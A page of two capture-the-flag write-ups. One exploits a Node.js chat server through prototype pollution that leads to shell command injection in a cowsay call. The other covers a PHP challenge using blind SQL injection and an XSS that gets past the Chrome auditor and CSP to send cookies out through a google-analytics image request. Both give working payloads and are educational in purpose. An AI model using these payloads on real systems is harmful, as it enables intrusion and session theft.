Defcamp (DCTF) 2018 – Chat

After I got source code, I recognized this is challenge running on socket in http protocol.
On client side, I got file “client.js” to connect to server

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')
 
if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2], 
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})
 
socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

On server side, server handle with some method of client like register, join, leave, message, disconnect, error

var fs       = require('fs'); 
var server   = require('http').createServer()
var io       = require('socket.io')(server)
var clientManager = require('./clientManager')
var helper = require('./helper')
 
var defaultSettings = JSON.parse(fs.readFileSync('default_settings.json', 'utf8'));

function sendMessageToClient(client, from, message) {
    var msg = {
        from: from,
        message: message
    };

    client.emit('message', msg);
    console.log(msg)
    return true;
}

function sendMessageToChannel(channel, from, message) {
    var msg = {
        from: typeof from !== 'string' ? clientManager.getUsername(from): from,
        message: message,
        channel: channel
    };

    if(typeof from !== 'string') {
        if(!clientManager.isSubscribedTo(from, channel)) {
            console.log('Could not send message',msg,' from', 
                clientManager.getUsername(from),'to',channel,'because he is not subscribed.')
            return false;
        }
    }

    var clients = clientManager.getSubscribedToChannel(channel);
    
    for(var i = 0; i<clients.length;i++) {
        if(typeof from !== 'string') {
            if(clients[i].id == from.id) {
                continue;
            }
        }
        
        clients[i].emit('message', msg);
    }
    
    console.log(msg)
    return true;
}

io.on('connection', function (client) { 
    client.on('register', function(inUser) {
        try {
            newUser = helper.clone(JSON.parse(inUser))

            if(!helper.validUser(newUser)) {
                sendMessageToClient(client,"Server", 
                    'Invalid settings 1.')
                return client.disconnect();
            } 

            var keys = Object.keys(defaultSettings);
            for (var i = 0; i < keys.length; ++i) {
                if(newUser[keys[i]] === undefined) {
                    newUser[keys[i]] = defaultSettings[keys[i]]
                }
            } 

            if (!clientManager.isUserAvailable(newUser.name)) {
                sendMessageToClient(client,"Server", 
                    newUser.name + ' is not available')
                return client.disconnect(); 
            }
         
            clientManager.registerClient(client, newUser)
            return sendMessageToClient(client,"Server", 
                newUser.name + ' registered')
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('message', function(message) {
        try {
            message = JSON.parse(message);
            if(message.channel === undefined) {
                console.log(clientManager.getUsername(client),"said:", message.msg);
            } else {
                sendMessageToChannel(message.channel, client, message.msg);
            }
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('disconnect', function () {
        try {
            console.log('client disconnect...', client.id)

            var oldclient = clientManager.removeClient(client);
            if(oldclient !== undefined) {
                for (const [channel, state] of Object.entries(oldclient.ch)) {
                    if(!state) continue;
                    sendMessageToChannel(channel, "Server", 
                        "User " + oldclient.u.name + " left channel");
                } 
            }
        } catch(e) { console.log(e); client.disconnect() }
    })

  client.on('error', function (err) {
    console.log('received error from client:', client.id)
    console.log(err)
  })
});

server.listen(3000, function (err) {
  if (err) throw err;
  console.log('listening on port 3000');
});

After taking some audit, I noticed both sink and sanitizer at helper.js
Sink: Command line injection in getAscii function

    getAscii: function(message) {
        var e = require('child_process');
        return e.execSync("cowsay '" + message + "'").toString();
    }

-> getAscii used in “join” and “leave” connection method and variable can be exploited is client-> name and client -> country

   client.on('join', function(channel) {
        try {
            clientManager.joinChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You joined channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);

            sendMessageToChannel(channel,"Server", 
                helper.getAscii("User " + u + " living in " + c + " joined channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

    client.on('leave', function(channel) {
        try {
            client .join(channel);
            clientManager.leaveChannel(client, channel);
            sendMessageToClient(client,"Server", 
                "You left channel", channel)

            var u = clientManager.getUsername(client);
            var c = clientManager.getCountry(client);
            sendMessageToChannel(channel, "Server", 
                helper.getAscii("User " + u + " living in " + c + " left channel"))
        } catch(e) { console.log(e); client.disconnect() }
    });

Sanitizer:

   validUser: function(inp) {
        var block = ["source","port","font","country",
                     "location","status","lastname"];
        if(typeof inp !== 'object') {
            return false;
        } 

        var keys = Object.keys( inp);
        for(var i = 0; i< keys.length; i++) {
            key = keys[i];
            
            if(block.indexOf(key) !== -1) {
                return false;
            }
        }

        var r =/^[a-z0-9]+$/gi;
        if(inp.name === undefined || !r.test(inp.name)) {
            return false;
        }

        return true;
    }

After Taking a look with bypassing Sanitizer, I noticed:
– can not inject via attribute “name” because white list strick: /^[a-z0-9]+$/gi
– can not post variable or method like “country”
In client manager, I know that user input is object => find the way to overwrite user->country.
A new vector attack in nodejs can overwrite other attribute in object like Prototype pollution attack (like this https://hackerone.com/reports/310439)

To bypass sanitizer:

socket.emit('register', '{"name":"0xd0ff9", "__proto__":{"country":"\';ls -la;echo \'lala"}}')

To execute injection:

socket.emit('join','arena of valor');

full payload like this

const io = require('socket.io-client')
const socket = io.connect('http://127.0.0.1:3000')

//var input_name = process.argv[2]
//var input_channel = process.argv[3] 

var input_name = "1234"
var input_channel = "test"

console.log('Logging as ' + input_name + ' on ' + input_channel)


socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', '{"name":"0xd0ff9", "__proto__":{"country":"\';ls -la;echo \'lala"}}')
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join','arena of valor');
socket.emit('message', JSON.stringify({ channel: input_channel, msg: "hello channel" }));

And get flag

Song Kiếm (ISITDTU Final 2018)

source:
index.php~


  Song Đao Bão Táp

  &lt;img src=&quot;image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; class=&quot;mce-object&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;" title="" /&gt;
  &lt;img src=&quot;image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; class=&quot;mce-object&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;" title="" /&gt;
  &lt;img src=&quot;image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&quot; class=&quot;mce-object&quot; width=&quot;20&quot; height=&quot;20&quot; alt=&quot;" title="" /&gt;

&lt;?php

include &quot;config.php&quot;;
function mysqli_filter($query)
{
	$blacklists = [&quot;union&quot;,&quot;length&quot;,&quot;substr&quot;];
	foreach($blacklists as $blacklist)
	{
		while(strpos($query,$blacklist)!==false)
		{
			$query = str_replace($blacklist,&quot;&quot;,$query);
		}
	}
	return $query;
}
if(isset($_GET[&#039;id&#039;]) &amp;&amp; !empty($_GET[&#039;id&#039;]))
{
	$id = mysqli_filter($_GET[&#039;id&#039;]);
	$sql = &quot;select * from skill where id=&quot;.$id;
	$result = mysqli_query($conn,$sql);
	if (@mysqli_num_rows($result) === 1) {
		$row = mysqli_fetch_assoc($result);
        $skillselect = &quot;
<tr>
<td>".$row['id']."</td>
<td>".$row['name']."</td>
<td>".$row['type']."</td>
<td>".$row['cooldown']."</td>
<td>".$row['power']."</td>
</tr>
";
	}
	else
	{
		$skillselect = "
<tr>
<td>Id: <strong>".$id."</strong> Error</td>
</tr>
";
	}
}
else
{
	$skillselect = mysqli_select_all($conn);
}

if(isset($_POST['url']) &amp;&amp; !empty($_POST['url']))
{
	$url = safe_url($_POST['url']);
	$url = escapeshellarg($url);
	// bot check
	chromheadlesscheck($url);
}

?&gt;
<div class="container">
<div class="jumbotron">
<h1>Bí kíp Nguyệt Tộc</h1>
Để lấy được Bí kíp nguyệt tộc, Ryomar và Airi hợp tác đánh bại maloch. Tuy nhiên sau khi lấy được kho báu, cả hai đã bị nakroth sát hại. Trước khi chết, cả hai tách cuốn bí kíp thành 2 mảnh và truyền cho thế hệ sau. Cách đây không lâu, có một người đã tìm thấy bí kíp và quyết định đem giấu vào một nơi khác đồng thời bảo vệ kho báu bằng một tấm chắn chỉ cho phép gia đình và người thân có thể lấy được nó.</div>
<img src="images/ngau.jpg" width="800" height="300">
<h3>Dưới đây là những chiêu thức thất truyền từ cuốn bí kíp:</h3>
<table class="table">
<thead>
<tr>
<th>ID</th>
<th>SKILLNAME</th>
<th>TYPE</th>
<th>COOLDOWN</th>
<th>POWER</th>
</tr>
</thead>
<tbody></tbody>
</table>
<h4>Airi Chrome Bot ( Truyền nhân của airi, nơi lưu giữ một nửa của cuốn bí kíp )</h4>
<div class="form-group">
      URL:
<div class="col-sm-10"></div>
</div>
<div class="form-group">
<div class="col-sm-offset-2 col-sm-10">
        Submit</div>
</div>
</div>

Đọc source, ta thấy những điểm nhấn:
1. SQL Injection, blind để lấy nửa đầu của flag
2. XSS
2.1 Bot là chrome headless -> phải bypass X-XSS-Protection
2.2 Object.freeze(document.location) -> không thể leak cookie bằng con đường location
2.3 Kiểm tra header có

 CSP:"""Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; sandbox allow-scripts allow-same-origin allow-forms; img-src 'self' https://www.google-analytics.com;"""

2.3.1 có sandbox suy ra không thể đưa payload ra ngoài bằng XHR hay Postdata
2.3.2 google-analytics được chấp nhận
Khai thác:
1. SQL Injection > quá dễ
2. XSS
2.1 bypass X-XSS-Protection
Trong source có đoạn replace những kí tự union, length, substr, tận dụng nó để làm cho chrome auditor không phát hiện được XSS,mấy bạn thích dùng cái nào cũng được, mình dùng

document.write("songkiem")


*Notes: đừng thủ alert, confirm, bla… không được đâu, vì CSP đang dùng sandbox
2.2 Object.freeze(document.location) > bỏ ý định redirect lấy cookie đi
2.3

 CSP: :"""Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; sandbox allow-scripts allow-same-origin allow-forms; img-src 'self' https://www.google-analytics.com;""" 

2.3.1 chỉ đơn giản là không dùng XHR, Postdata
2.3.2 Tạo một tag image rồi đưa payload vào image từ một tính năng của google analytic (tham khảo: https://githubengineering.com/githubs-post-csp-journey/)
*Notes: Nếu bạn không chắc browser nó sẽ encode URL như nào thì hãy dùng backtick cho dễ

Thử lấy cookie của mình:

http://35.231.54.0/60e10658bcb036f675fe033fe0376d5f/index.php?id=%3Cscrunionipt%3Ea=atob('eD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbWcnKTt4LnNyYz0naHR0cHM6Ly93d3cuZ29vZ2xl\nLWFuYWx5dGljcy5jb20vY29sbGVjdD92PTEmdGlkPVVBLTEyMjMxMjY2MS0xJmNpZD0xMjIzMTI2\nNjEmdD1ldmVudCZlYz1lbWFpbCZlYT10ZXN0bGEnK01hdGgucmFuZG9tKCkrZG9jdW1lbnQuY29v\na2llO2RvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2JvZHknKS5hcHBlbmQoeCk7');eval(a)%3C/scrunionipt%3E

Gửi cho bot